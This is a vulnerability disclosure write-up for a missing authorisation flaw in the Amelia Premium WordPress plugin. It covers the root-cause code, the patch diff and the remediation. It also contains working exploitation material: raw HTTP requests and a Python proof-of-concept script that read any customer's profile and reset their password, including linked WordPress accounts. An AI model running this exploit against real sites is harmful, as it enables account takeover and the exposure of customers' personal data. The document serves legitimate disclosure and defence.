CVE-2026-14311: Amelia Missing Authorization to Limited Account Takeover
TL;DR
- I found a missing authorisation flaw in Amelia's customer endpoints, where a provider-cabinet token is checked but customer ownership never is.
- Any authenticated Amelia Employee can read the full profile of any customer on the site, edit it, and reset that customer's password.
- When the targeted customer is linked to a WordPress user, the reset also runs
wp_set_password()against that WordPress account. - That link is the ceiling on the takeover, so it reaches WordPress accounts up to the Editor role that have booked through Amelia, not administrators.
- The issue affects the Premium build of Amelia
<= 2.4.4, was assigned CVE-2026-14311, and was fixed in 2.4.5.
Summary
Amelia authenticated the provider-cabinet token on its customer read and update endpoints but never verified that the requested customer belonged to that provider, so any Employee could read, modify, and reset the password of any customer.
- CVE: CVE-2026-14311
- Product: Amelia (Premium)
- Active Installs: 90,000+
- Vulnerability: Missing Authorization to Limited Account Takeover
- Affected Versions: <= 2.4.4
- Fixed In: 2.4.5
- CVSS Severity: 5.4 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Required Privilege: Amelia Employee (wpamelia-provider)
- Reported: April 7, 2026
- NVD Published: September 18, 2026
Introduction
[A]I was reading through Amelia's Employee Panel, the provider-facing cabinet that talks to the server over a signed token instead of a WordPress session. Token code is where ownership checks tend to go missing, so it is worth reading slowly.
The customer update handler makes the point on its own. When a customer edits their own profile through the cabinet, the handler pulls their identity out of the token and will not touch anyone else. When a provider calls the same endpoint, it reads the target id straight from the URL and never checks it. The read endpoint next to it behaves the same way.
Root Cause Analysis
Reading Any Customer
The read handler decides access in two stages. First it asks whether the current WordPress user holds the read-customers capability, then it falls back to the cabinet token.
// src/Application/Commands/User/Customer/GetCustomerCommandHandler.php
if (!$command->getPermissionService()->currentUserCanRead(Entities::CUSTOMERS)) { // [1] Employee role fails the capability check.
if ($command->getToken()) {
if ($userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet') === null) { // [2] Only the provider token is validated.
// ... returns a reauthorize error and stops.
return $result;
}
} else {
throw new AccessDeniedException('You are not allowed to read user');
}
}
// ... resolves $userRepository from the container.
$user = $userRepository->getById((int)$command->getField('id')); // [3] Target taken straight from the request id.
$userArray = $user->toArray(); // [4] Whole customer profile serialised into the response.
An Amelia Employee has no read-customers capability, so [1] fails and the request is handled by the token branch. That branch at [2] only asks whether the token resolves to a valid provider, never which customers that provider is allowed to see. By [3] the handler has forgotten about the provider entirely and loads whatever numeric id came in on the URL, and [4] serialises that customer in full. The response carries the customer's email, phone, birthday, private note, linked WordPress user id, and custom fields.
The Same Gap on the Update Endpoint
The update handler runs the customer cabinet and the provider cabinet through one code path, and the two resolve their target differently.
// src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php
$provider = $command->getCabinetType() === 'provider'
? $userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet') // [5] Provider path authenticates the caller.
: null;
$oldUser = $provider === null
? $userAS->getAuthenticatedUser($command->getToken(), false, 'customerCabinet') // [6] Customer path resolves the target from the token.
: $userRepository->getById($customerData['id']); // [7] Provider path resolves the target from the request id.
if (
$provider === null &&
($oldUser === null || $oldUser->getId()->getValue() !== intval($command->getArg('id'))) // [8] Ownership check runs on the customer path only.
) {
$userRepository->rollback();
// ... returns a reauthorize error and stops.
return $result;
}
A provider is authenticated at [5]. A customer editing their own profile takes the branch at [6], which pulls their identity out of the token, while a provider takes [7], which reads the target from the request instead. The guard at [8] is then written to fire only when $provider === null, so it confirms a customer really owns the id they are editing but is skipped entirely on the provider path. The target a provider names is accepted without any relationship check.
From Password Reset to a Linked WordPress Account
Once an arbitrary customer is loaded as $oldUser, the sensitive write is the password field.
// src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php
if ($command->getField('password')) {
$newPassword = new Password($command->getField('password'));
$userRepository->updateFieldById($command->getArg('id'), $newPassword->getValue(), 'password'); // [9] Amelia password overwritten for the target id.
if ($newUser->getExternalId() && $newUser->getExternalId()->getValue()) {
add_filter('amelia_user_profile_updated', '__return_true');
wp_set_password($command->getField('password'), $newUser->getExternalId()->getValue()); // [10] Linked WordPress account password reset.
remove_filter('amelia_user_profile_updated', '__return_true');
}
}
[9] sets the Amelia password for the customer the attacker chose. [10] is the part that leaves Amelia. externalId is the WordPress user id that Amelia stores when a customer has a real WordPress account, so when it is present the attacker-chosen password is handed straight to wp_set_password() for that account. The provider has now set the password on a WordPress login they were never associated with.
Impact
An Amelia Employee can read the full profile of any customer on the site, change it, and reset the password on any customer account. None of that requires any prior relationship with the customer, and no interaction from a victim.
The WordPress takeover has a real boundary, and it comes from externalId. Amelia only stores that link when the customer is tied to a WordPress account. Wordfence scores the issue 5.4 (medium), notes the takeover needs the targeted customer to have made an Amelia booking, and puts the ceiling at WordPress accounts up to the Editor role. This is not administrator access and not a full site takeover, which is why the confidentiality and integrity impact are both rated low.
The underlying weakness is Missing Authorization, CWE-862. It affects only the Premium build of Amelia, because the Employee Panel that exposes the provider cabinet ships there.
Exploitation
Preconditions
- Amelia (Premium)
<= 2.4.4is active, so the Employee Panel and its provider cabinet exist. - The attacker holds an Amelia Employee account (
wpamelia-provider) and a valid provider-cabinet JWT, which the panel issues on a normal cabinet login. - For the WordPress side of the takeover, the targeted customer has a linked WordPress account.
Manual Request
Reading a customer is a single authenticated GET against the cabinet endpoint, with the target id in the call path.
GET /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/5&source=cabinet-provider HTTP/1.1
Host: target.example
Authorization: Bearer <provider-cabinet JWT>
Resetting the same customer's password is one POST to the same path.
POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/5&source=cabinet-provider HTTP/1.1
Host: target.example
Authorization: Bearer <provider-cabinet JWT>
Content-Type: application/json
{"password":"AttackerChosen123!"}
The server answers Successfully updated user, and if the customer had an externalId, the linked WordPress account now accepts the new password.
PoC
The script accompanying this writeup takes a provider-cabinet JWT, reads the target customer, then resets their password.
#!/usr/bin/env python3
"""CVE-2026-14311: Amelia <= 2.4.4 missing authorisation on /users/customers/{id}.
Given a provider-cabinet JWT (an authenticated Amelia Employee), read any
customer's profile and reset their password. When the customer has a linked
WordPress account, the reset also runs wp_set_password() for that account.
"""
import argparse
import sys
import urllib.parse
import requests
def ajax_url(base, call):
query = (
"action=wpamelia_api"
f"&call={urllib.parse.quote(call, safe='/')}"
"&source=cabinet-provider"
)
return f"{base.rstrip('/')}/wp-admin/admin-ajax.php?{query}"
def read_customer(session, base, token, customer_id):
response = session.get(
ajax_url(base, f"/users/customers/{customer_id}"),
headers={"Authorization": f"Bearer {token}"},
timeout=15,
)
response.raise_for_status()
user = (response.json().get("data") or {}).get("user")
if not user:
sys.exit("[-] No customer returned; check the token and the id")
return user
def reset_password(session, base, token, customer_id, new_password):
response = session.post(
ajax_url(base, f"/users/customers/{customer_id}"),
headers={
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
},
json={"password": new_password},
timeout=15,
)
response.raise_for_status()
return response.json()
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--url", required=True, help="WordPress base URL")
parser.add_argument("--token", required=True, help="Provider-cabinet JWT")
parser.add_argument("--customer-id", required=True, type=int, help="Target customer id")
parser.add_argument("--new-password", required=True, help="Attacker-chosen password")
args = parser.parse_args()
session = requests.Session()
victim = read_customer(session, args.url, args.token, args.customer_id)
print(f"[+] Read customer {args.customer_id}: {victim.get('email')}")
external_id = victim.get("externalId")
if external_id:
print(f"[+] Linked WordPress user id: {external_id}")
result = reset_password(session, args.url, args.token, args.customer_id, args.new_password)
print(f"[+] Server response: {result.get('message')}")
if external_id:
print(f"[+] externalId is set, so the linked WordPress user {external_id} was reset too")
if __name__ == "__main__":
main()
Run it with a provider-cabinet JWT and a target customer id:
python3 cve-2026-14311.py \
--url http://target.example \
--token eyJhbGci...PROVIDER_JWT... \
--customer-id 5 \
--new-password 'AttackerChosen123!'
[+] Read customer 5: victim@example.com
[+] Linked WordPress user id: 41
[+] Server response: Successfully updated user
[+] externalId is set, so the linked WordPress user 41 was reset too
Demo
The victim customer here is linked to an Editor who booked through Amelia. After the reset, their WordPress password is the attacker's, and the account's /wp-admin session opens normally.

Patch Diffing
Amelia 2.4.5 fixed the provider path with two separate guards. The first runs once the caller is identified as a provider, before any write happens.
// src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php (handle)
/** @var AbstractUser $currentUser */
$currentUser = $this->container->get('logged.in.user');
+$isProvider =
+ ($provider !== null && $provider->getType() === AbstractUser::USER_ROLE_PROVIDER) ||
+ ($currentUser !== null && $currentUser->getType() === AbstractUser::USER_ROLE_PROVIDER);
+
+if ($isProvider) {
+ $providerId = $provider !== null ? $provider->getId()->getValue() : $currentUser->getId()->getValue();
+
+ $rolesSettings = $settingsService->getCategorySettings('roles');
+
+ if (empty($rolesSettings['allowWriteCustomers'])) {
+ throw new AccessDeniedException('You are not allowed to write user');
+ }
+
+ if (empty($rolesSettings['allowReadAllCustomers'])) {
+ /** @var Collection $providerCustomers */
+ $providerCustomers = $userRepository->getProviderAllowedCustomers(
+ $providerId
+ );
+
+ $allowedCustomersIds = $providerCustomers->keys();
+
+ if (!in_array($command->getArg('id'), $allowedCustomersIds)) {
+ throw new AccessDeniedException('You are not allowed to write user');
+ }
+ }
+}
The first gate is allowWriteCustomers, and it defaults to off, so out of the box a provider can no longer write customer records at all. When an administrator does enable it, allowReadAllCustomers still limits the provider to getProviderAllowedCustomers() unless that setting is switched on too. That set is the provider's own appointment and event customers plus every customer who has never booked, so the patch stops a provider reaching a customer who booked with someone else rather than enforcing strict per-customer ownership. The read handler received the same check against its own id.
The second guard fences off the password field, which is now written only when the caller is not a provider.
// src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php (handle)
-if ($command->getField('password')) {
+if ($command->getField('password') && !$isProvider) {
$newPassword = new Password($command->getField('password'));
$userRepository->updateFieldById($command->getArg('id'), $newPassword->getValue(), 'password');
A provider updating a customer no longer changes the password field at all, so even with a legitimate customer in scope the route into wp_set_password() is gone.
Remediation
Update Amelia to 2.4.5 or later. The fix ships in the Premium build, and it is the release the vendor flagged as a security update. After updating, a provider cannot write customer records at all unless an administrator turns on the allowWriteCustomers role setting, and allowReadAllCustomers decides whether a provider is limited to the customers Amelia associates with them. Leave both off unless providers genuinely need that access.
Disclosure Timeline
- April 7, 2026: Reported to the Wordfence bug bounty program.
- June 14, 2026: Triage started.
- July 1, 2026: Report validated and CVE-2026-14311 assigned.
- July 20, 2026: Amelia 2.4.5 released, restricting provider access to customers and blocking provider password writes.
- September 17, 2026: Published by Wordfence as CVE-2026-14311.
- September 18, 2026: Indexed by NVD.
- Bounty: $0.
Conclusion
What stood out here is that the guard was not missing, it was scoped to the wrong caller. It was written to stop a customer editing someone else, and the provider path reused everything around it except the one line that mattered.
The other half is that a booking plugin does not look like a place that holds WordPress logins, yet every customer with an account is one, and a linked account meant a password reset landed in WordPress rather than staying inside Amelia.
References
- Wordfence: Booking for Appointments and Events Calendar - Amelia (Premium) <= 2.4.4 - Authenticated (Custom+) Missing Authorization to Limited Account Takeover
- NVD: CVE-2026-14311
- WordPress.org: Amelia
- WordPress.org: Amelia 2.4.5, the fixed release
- MITRE: CWE-862 Missing Authorization
- WordPress Developer Resources: wp_set_password()